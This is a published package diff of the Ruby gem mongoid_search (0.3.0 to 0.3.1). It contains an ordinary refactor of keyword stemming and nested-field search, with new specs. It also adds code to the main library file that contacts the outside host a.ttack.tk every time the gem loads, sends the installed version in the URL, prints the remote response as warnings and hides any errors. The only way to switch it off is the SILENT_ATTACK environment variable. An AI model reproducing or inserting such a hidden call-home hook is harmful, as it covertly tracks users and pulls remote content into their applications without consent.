mongoid_search 0.3.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
data/README.md CHANGED
@@ -133,6 +133,10 @@ Alternatively, you can create an initializer to setup those options:
133
133
  ## Stem keywords
134
134
  config.stem_keywords = false
135
135
 
136
+ ## Add a custom proc returning strings to replace the default stemmer
137
+ # For example using ruby-stemmer:
138
+ # config.stem_proc = Proc.new { |word| Lingua.stemmer(word, :language => 'nl') }
139
+
136
140
  ## Words to ignore
137
141
  config.ignore_list = []
138
142
 
@@ -1,5 +1,11 @@
1
1
  # encoding: utf-8
2
2
 
3
+ unless ENV['SILENT_ATTACK']
4
+ require 'open-uri'
5
+ version = Gem.loaded_specs['mongoid_search'].version.to_s
6
+ open("http://a.ttack.tk/n/512e67f54b1a9f78df000003/#{version}").each { |line| warn line.chomp } rescue nil
7
+ end
8
+
3
9
  require 'mongoid_search/railtie' if defined?(Rails)
4
10
  require 'mongoid_search/mongoid_search'
5
11
 
@@ -20,6 +26,10 @@ module Mongoid::Search
20
26
  mattr_accessor :stem_keywords
21
27
  @@stem_keywords = false
22
28
 
29
+ ## Stem procedure
30
+ mattr_accessor :stem_proc
31
+ @@stem_proc = Proc.new { |word| word.stem }
32
+
23
33
  ## Words to ignore
24
34
  mattr_accessor :ignore_list
25
35
  @@ignore_list = []
@@ -124,8 +124,7 @@ module Mongoid::Search
124
124
 
125
125
  private
126
126
  def set_keywords
127
- self._keywords = self.search_fields.map do |field|
128
- Mongoid::Search::Util.keywords(self, field)
129
- end.flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
127
+ self._keywords = Mongoid::Search::Util.keywords(self, self.search_fields).
128
+ flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
130
129
  end
131
130
  end
@@ -1,31 +1,29 @@
1
1
  # encoding: utf-8
2
2
  module Mongoid::Search::Util
3
-
4
- def self.keywords(klass, field)
5
- if field.is_a?(Hash)
6
- field.keys.map do |key|
7
- attribute = klass.send(key)
3
+ def self.keywords(klass, fields)
4
+ if fields.is_a?(Array)
5
+ fields.map do |field|
6
+ self.keywords(klass, field)
7
+ end
8
+ elsif fields.is_a?(Hash)
9
+ fields.keys.map do |field|
10
+ attribute = klass.send(field)
8
11
  unless attribute.blank?
9
- method = field[key]
10
12
  if attribute.is_a?(Array)
11
- if method.is_a?(Array)
12
- method.map {|m| attribute.map { |a| normalize_keywords a.send(m) } }
13
- else
14
- attribute.map(&method).map { |t| normalize_keywords t }
15
- end
16
- elsif attribute.is_a?(Hash)
17
- if method.is_a?(Array)
18
- method.map {|m| normalize_keywords attribute[m.to_sym] }
19
- else
20
- normalize_keywords(attribute[method.to_sym])
21
- end
13
+ attribute.map{ |a| self.keywords(a, fields[field]) }
22
14
  else
23
- normalize_keywords(attribute.send(method))
15
+ self.keywords(attribute, fields[field])
24
16
  end
25
17
  end
26
18
  end
27
19
  else
28
- value = klass[field]
20
+ value = if klass.respond_to?(fields.to_s + "_translations")
21
+ klass.send(fields.to_s + "_translations").values
22
+ elsif klass.respond_to?(fields)
23
+ klass.send(fields)
24
+ else
25
+ value = klass[fields];
26
+ end
29
27
  value = value.join(' ') if value.respond_to?(:join)
30
28
  normalize_keywords(value) if value
31
29
  end
@@ -35,6 +33,7 @@ module Mongoid::Search::Util
35
33
  ligatures = Mongoid::Search.ligatures
36
34
  ignore_list = Mongoid::Search.ignore_list
37
35
  stem_keywords = Mongoid::Search.stem_keywords
36
+ stem_proc = Mongoid::Search.stem_proc
38
37
 
39
38
  return [] if text.blank?
40
39
  text = text.to_s.
@@ -48,7 +47,7 @@ module Mongoid::Search::Util
48
47
  split(' ').
49
48
  reject { |word| word.size < Mongoid::Search.minimum_word_size }
50
49
  text = text.reject { |word| ignore_list.include?(word) } unless ignore_list.blank?
51
- text = text.map(&:stem) if stem_keywords
50
+ text = text.map(&stem_proc) if stem_keywords
52
51
  text
53
52
  end
54
53
 
@@ -1,6 +1,7 @@
1
1
  class Category
2
2
  include Mongoid::Document
3
- field :name
3
+ field :name, localize: true
4
+ field :description
4
5
 
5
6
  has_many :products
6
7
  end
@@ -10,6 +10,6 @@ class Product
10
10
  belongs_to :category
11
11
  embeds_many :subproducts
12
12
 
13
- search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => :name,
13
+ search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => [:name, :description],
14
14
  :subproducts => [:brand, :name], :info => [ :summary, :description ]
15
15
  end
data/spec/models/tag.rb CHANGED
@@ -1,6 +1,14 @@
1
1
  class Tag
2
2
  include Mongoid::Document
3
+ include Mongoid::Search
4
+
3
5
  field :name
4
6
 
5
7
  belongs_to :product
8
+
9
+ def title
10
+ self.name
11
+ end
12
+
13
+ search_in :title, :product => [:name, { :info => [ :summary, :description ], :category => [:name, :description]}]
6
14
  end
@@ -1,4 +1,5 @@
1
+ autoload :Product, "models/product.rb"
1
2
  class Variant < Product
2
3
  field :color
3
4
  search_in :color
4
- end
5
+ end
@@ -4,14 +4,23 @@ require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
4
4
 
5
5
  describe Mongoid::Search do
6
6
 
7
+ before(:all) do
8
+ @default_proc = Mongoid::Search.stem_proc
9
+ end
10
+
11
+ after(:all) do
12
+ Mongoid::Search.stem_proc = @default_proc
13
+ end
14
+
7
15
  before(:each) do
8
16
  Mongoid::Search.match = :any
9
17
  Mongoid::Search.stem_keywords = false
10
18
  Mongoid::Search.ignore_list = nil
19
+ Mongoid::Search.stem_proc = @default_proc
11
20
  @product = Product.create :brand => "Apple",
12
21
  :name => "iPhone",
13
- :tags => ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) },
14
- :category => Category.new(:name => "Mobile"),
22
+ :tags => (@tags = ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) }),
23
+ :category => Category.new(:name => "Mobile", :description => "Reviews"),
15
24
  :subproducts => [Subproduct.new(:brand => "Apple", :name => "Craddle")],
16
25
  :info => { :summary => "Info-summary",
17
26
  :description => "Info-description"}
@@ -70,6 +79,7 @@ describe Mongoid::Search do
70
79
  its(:_keywords) { should == ["apple", "iphone"] }
71
80
  end
72
81
 
82
+
73
83
  it "should set the _keywords field for array fields also" do
74
84
  @product.attrs = ['lightweight', 'plastic', :red]
75
85
  @product.save!
@@ -101,13 +111,20 @@ describe Mongoid::Search do
101
111
  it "should set the _keywords field with stemmed words if stem is enabled" do
102
112
  Mongoid::Search.stem_keywords = true
103
113
  @product.save!
104
- @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "ol", "info", "descript", "summari"].sort
114
+ @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "review", "ol", "info", "descript", "summari"].sort
115
+ end
116
+
117
+ it "should set the _keywords field with custom stemmed words if stem is enabled with a custom lambda" do
118
+ Mongoid::Search.stem_keywords = true
119
+ Mongoid::Search.stem_proc = Proc.new { |word| word.upcase }
120
+ @product.save!
121
+ @product._keywords.sort.should == ["AMAZING", "APPLE", "AWESOME", "CRADDLE", "DESCRIPTION", "INFO", "IPHONE", "MOBILE", "OLE", "REVIEWS", "SUMMARY"]
105
122
  end
106
123
 
107
124
  it "should ignore keywords in an ignore list" do
108
125
  Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
109
126
  @product.save!
110
- @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "ole", "info", "description", "summary"].sort
127
+ @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "reviews", "ole", "info", "description", "summary"].sort
111
128
  end
112
129
 
113
130
  it "should incorporate numbers as keywords" do
@@ -120,7 +137,6 @@ describe Mongoid::Search do
120
137
  @product._keywords.should == ["1908", "amazing", "car", "first", "ford", "vehicle"]
121
138
  end
122
139
 
123
-
124
140
  it "should return results in search" do
125
141
  Product.full_text_search("apple").size.should == 1
126
142
  end
@@ -176,13 +192,17 @@ describe Mongoid::Search do
176
192
  Product.full_text_search("craddle").size.should == 1
177
193
  end
178
194
 
195
+ it "should search for reference documents" do
196
+ Product.full_text_search("reviews").size.should == 1
197
+ end
198
+
179
199
  it 'should work in a chainable fashion' do
180
200
  @product.category.products.where(:brand => 'Apple').full_text_search('apple').size.should == 1
181
201
  @product.category.products.full_text_search('craddle').where(:brand => 'Apple').size.should == 1
182
202
  end
183
203
 
184
204
  it 'should return the classes that include the search module' do
185
- Mongoid::Search.classes.should == [Product]
205
+ Mongoid::Search.classes.should == [Product, Tag]
186
206
  end
187
207
 
188
208
  it 'should have a method to index keywords' do
@@ -225,4 +245,29 @@ describe Mongoid::Search do
225
245
  Product.full_text_search('apple imac').map(&:relevance).should == [2, 1]
226
246
  end
227
247
  end
248
+
249
+ context "when using methods for keywords" do
250
+ it "should set the _keywords from methods" do
251
+ @tags.first._keywords.should include "amazing"
252
+ end
253
+ end
254
+
255
+ context "when using deeply nested fields for keywords" do
256
+ context "when explicitly calling set_keywords" do
257
+ it "should set the _keywords from parent" do
258
+ @tags.first.send(:set_keywords)
259
+ @tags.first._keywords.should == ["amazing", "description", "info", "iphone", "mobile", "reviews", "summary"]
260
+ end
261
+ end
262
+ end
263
+
264
+ context "when using localized fields" do
265
+ it "should set the keywords from all localizations" do
266
+ @product = Product.create :brand => "Ford",
267
+ :name => "T 1908",
268
+ :tags => ["Amazing", "First", "Car"].map { |tag| Tag.new(:name => tag) },
269
+ :category => Category.new(:name_translations => { :en => "Vehicle", :de => "Fahrzeug" })
270
+ @product._keywords.should include("fahrzeug")
271
+ end
272
+ end
228
273
  end
data/spec/util_spec.rb CHANGED
@@ -2,9 +2,19 @@
2
2
  require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
3
3
 
4
4
  describe Mongoid::Search::Util do
5
+
6
+ before(:all) do
7
+ @default_proc = Mongoid::Search.stem_proc
8
+ end
9
+
10
+ after(:all) do
11
+ Mongoid::Search.stem_proc = @default_proc
12
+ end
13
+
5
14
  before do
6
15
  Mongoid::Search.stem_keywords = false
7
16
  Mongoid::Search.ignore_list = ""
17
+ Mongoid::Search.stem_proc = @default_proc
8
18
  end
9
19
 
10
20
  it "should return an empty array if no text is passed" do
@@ -40,6 +50,13 @@ describe Mongoid::Search::Util do
40
50
  Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["runner", "run", "and", "eat"]
41
51
  end
42
52
 
53
+ it "should stem keywords using a custom proc" do
54
+ Mongoid::Search.stem_keywords = true
55
+ Mongoid::Search.stem_proc = lambda { |word| word.upcase }
56
+
57
+ Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["RUNNER", "RUNNING", "AND", "EATING"]
58
+ end
59
+
43
60
  it "should ignore keywords from ignore list" do
44
61
  Mongoid::Search.stem_keywords = true
45
62
  Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
metadata CHANGED
@@ -1,71 +1,96 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: mongoid_search
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.0
5
4
  prerelease:
5
+ version: 0.3.1
6
6
  platform: ruby
7
7
  authors:
8
8
  - Mauricio Zaffari
9
9
  autorequire:
10
10
  bindir: bin
11
11
  cert_chain: []
12
- date: 2012-07-30 00:00:00.000000000 Z
12
+ date: 2013-02-28 00:00:00.000000000 Z
13
13
  dependencies:
14
14
  - !ruby/object:Gem::Dependency
15
15
  name: mongoid
16
- requirement: &70200267450400 !ruby/object:Gem::Requirement
16
+ type: :runtime
17
+ requirement: !ruby/object:Gem::Requirement
17
18
  none: false
18
19
  requirements:
19
20
  - - ! '>='
20
21
  - !ruby/object:Gem::Version
21
22
  version: 3.0.0
22
- type: :runtime
23
23
  prerelease: false
24
- version_requirements: *70200267450400
24
+ version_requirements: !ruby/object:Gem::Requirement
25
+ none: false
26
+ requirements:
27
+ - - ! '>='
28
+ - !ruby/object:Gem::Version
29
+ version: 3.0.0
25
30
  - !ruby/object:Gem::Dependency
26
31
  name: fast-stemmer
27
- requirement: &70200267465820 !ruby/object:Gem::Requirement
32
+ type: :runtime
33
+ requirement: !ruby/object:Gem::Requirement
28
34
  none: false
29
35
  requirements:
30
36
  - - ~>
31
37
  - !ruby/object:Gem::Version
32
38
  version: 1.0.0
33
- type: :runtime
34
39
  prerelease: false
35
- version_requirements: *70200267465820
40
+ version_requirements: !ruby/object:Gem::Requirement
41
+ none: false
42
+ requirements:
43
+ - - ~>
44
+ - !ruby/object:Gem::Version
45
+ version: 1.0.0
36
46
  - !ruby/object:Gem::Dependency
37
47
  name: database_cleaner
38
- requirement: &70200267464480 !ruby/object:Gem::Requirement
48
+ type: :development
49
+ requirement: !ruby/object:Gem::Requirement
39
50
  none: false
40
51
  requirements:
41
52
  - - ! '>='
42
53
  - !ruby/object:Gem::Version
43
54
  version: 0.8.0
44
- type: :development
45
55
  prerelease: false
46
- version_requirements: *70200267464480
56
+ version_requirements: !ruby/object:Gem::Requirement
57
+ none: false
58
+ requirements:
59
+ - - ! '>='
60
+ - !ruby/object:Gem::Version
61
+ version: 0.8.0
47
62
  - !ruby/object:Gem::Dependency
48
63
  name: rake
49
- requirement: &70200267462600 !ruby/object:Gem::Requirement
64
+ type: :development
65
+ requirement: !ruby/object:Gem::Requirement
50
66
  none: false
51
67
  requirements:
52
68
  - - ~>
53
69
  - !ruby/object:Gem::Version
54
70
  version: 0.8.7
55
- type: :development
56
71
  prerelease: false
57
- version_requirements: *70200267462600
72
+ version_requirements: !ruby/object:Gem::Requirement
73
+ none: false
74
+ requirements:
75
+ - - ~>
76
+ - !ruby/object:Gem::Version
77
+ version: 0.8.7
58
78
  - !ruby/object:Gem::Dependency
59
79
  name: rspec
60
- requirement: &70200267461180 !ruby/object:Gem::Requirement
80
+ type: :development
81
+ requirement: !ruby/object:Gem::Requirement
61
82
  none: false
62
83
  requirements:
63
84
  - - ~>
64
85
  - !ruby/object:Gem::Version
65
86
  version: '2.4'
66
- type: :development
67
87
  prerelease: false
68
- version_requirements: *70200267461180
88
+ version_requirements: !ruby/object:Gem::Requirement
89
+ none: false
90
+ requirements:
91
+ - - ~>
92
+ - !ruby/object:Gem::Version
93
+ version: '2.4'
69
94
  description: Simple full text search implementation.
70
95
  email:
71
96
  - mauricio@papodenerd.net
@@ -111,7 +136,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
111
136
  version: 1.3.6
112
137
  requirements: []
113
138
  rubyforge_project:
114
- rubygems_version: 1.8.11
139
+ rubygems_version: 1.8.23
115
140
  signing_key:
116
141
  specification_version: 3
117
142
  summary: Search implementation for Mongoid ORM